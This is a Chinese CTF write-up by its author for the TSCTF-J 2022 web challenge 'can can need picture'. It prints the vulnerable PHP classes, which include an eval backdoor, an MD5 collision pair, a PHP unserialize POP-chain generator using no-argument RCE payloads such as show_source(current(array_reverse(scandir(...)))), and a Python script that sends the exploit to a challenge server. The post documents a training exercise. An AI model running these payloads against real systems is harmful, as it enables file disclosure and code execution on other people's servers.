TSCTF-J 2022 can can need picture题解以及出题感悟


TSCTF-J 2022 can can need picture题解以及出题感悟

纪第一次出题

恭喜TSCTF-J2022圆满结束,这是我学ctf以来第一次出题,遇到了各种各样的问题。第一版是杂糅了诸多考点(无参数RCE,pop链,文件包含等),但限于代码技术,还没有实现就夭折了。第二版与最终版比较类似,只不过我想通过无参RCE获得hint,然后通过curl去获取flag,但权限的设置一直没搞好,这一版也就夭折了。然后就是现在的最终版,感觉效果也还不错,有很多解,也有很多师傅来找我交流,希望给大家带来了比较不错的体验。

can can need picture题解部分

打开题目,看见url,/index.php?f=YUhSMGNITTZMeTloY0drdWJYUjVjWGd1WTI0dmRHRndhUzl5WVc1a2IyMHVjR2h3
发现传参f,f中传的值很明显是base64加密的,尝试解密(base64两次)得到https://api.mtyqx.cn/tapi/random.php
尝试随便输入一个值,返回Warning: file_get_contents(): Filename cannot be empty in /var/www/html/index.php on line 14file_get_contents()函数是可以用来获取本地文件的。
尝试获取index.phpbase64加密两次,得到YVc1a1pYZ3VjR2h3,传入,发现得到提示no,you can't see this.can can class.php and hack.php.,尝试读取这两个文件。
class.php

<?php
class apple
{
    public $var;
    public $m1;
    public function __wakeup()
    {
        echo $this->var."1!5!";
    }
    public function __call($name, $args)
    {
        return $this->m1->$source;
    }
}
class banana
{
    public $str;
    public $v1;
    public function __toString()
    {
        $function=$this->str;
        $function();
    }
    public function __invoke()
    {
        return $this->v1->hack();
    }
}
class find
{
    protected $code;
    public function __get($name)
    {
        $this->backdoor();
    }
    public function backdoor()
    {
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->code)) 
            if(!preg_match('/et|info|dec|bin|hex|oct|pi|log/i',$this->code))
                @eval($this->code);
    }
}
?>

hack.php

<?php
include("class.php");
if(is_array($_GET['a']) || is_array($_GET['b']))
    echo("die");
else
{
    if(md5($_GET['a'])===md5($_GET['b']) && $_GET['a']!=$_GET['b'])
        unserialize($_GET['pop']);
    else 
        echo("nonono!");
}

很明显是一个pop链,pop链为apple:__wakeup -> banana:__tostring -> banana:__invoke -> apple:__call -> find:__get -> find:backdoor
但首先需要绕过MD5,这个payload网上很好找到,我贴到这

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

然后就可以到达backdoor部分,看过滤函数很容易发现这是一道无参数RCE的问题,但是get被ban掉了,想办法绕过,这时候选择localeconv()函数加scandir()函数绕过,我们知道scandir()可以列出当前目录,同时,localeconv()的第一位必定是,利用current取出,构造var_dump(scandir(current(localeconv()))),可以看到当前目录下有四个文件,其中有一个是hint.php,想办法读取。构造show_source(next(array_reverse(scandir(current(localeconv())))));即可看到hint.php代码,里面告诉我们flag在根目录。

接下来就是想办法构造/,网上有很多现成payload,我参考的就是这个php无参数函数实现rce,无参数读文件和RCE总结,最后的payload为show_source(current(array_reverse(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));,这个结果输出有三种可能,要多尝试两次,可以得到flag。
我把最后的脚本贴到这

<?php
class apple
{
    public $var;
    public $m1;
}
class banana
{
    public $str;
    public $v1;
}
class find
{
    protected $code="show_source(current(array_reverse(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));";
    //print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
    //show_source(next(array_reverse(scandir(current(localeconv())))));
    //show_source(current(array_reverse(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
}
$f=new find();
$a1=new apple();
$a2=new apple();
$b1=new banana();
$b2=new banana();

$a2->m1=$f;
$b2->v1=$a2;
$b1->str=$b2;
$a1->var=$b1;

echo urlencode(serialize($a1));
?>
import requests

url="http://8.141.150.150:11233/hack.php"

a="M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2";
b="M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2";
r1=requests.get(url="http://localhost/ezphp/exp3.php")
pop=str(r1.text)
r=requests.get(url=url+"?a="+a+"&b="+b+"&pop="+pop)
print(url+"?a="+a+"&b="+b+"&pop="+pop)
print(r.text)

得到flag


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !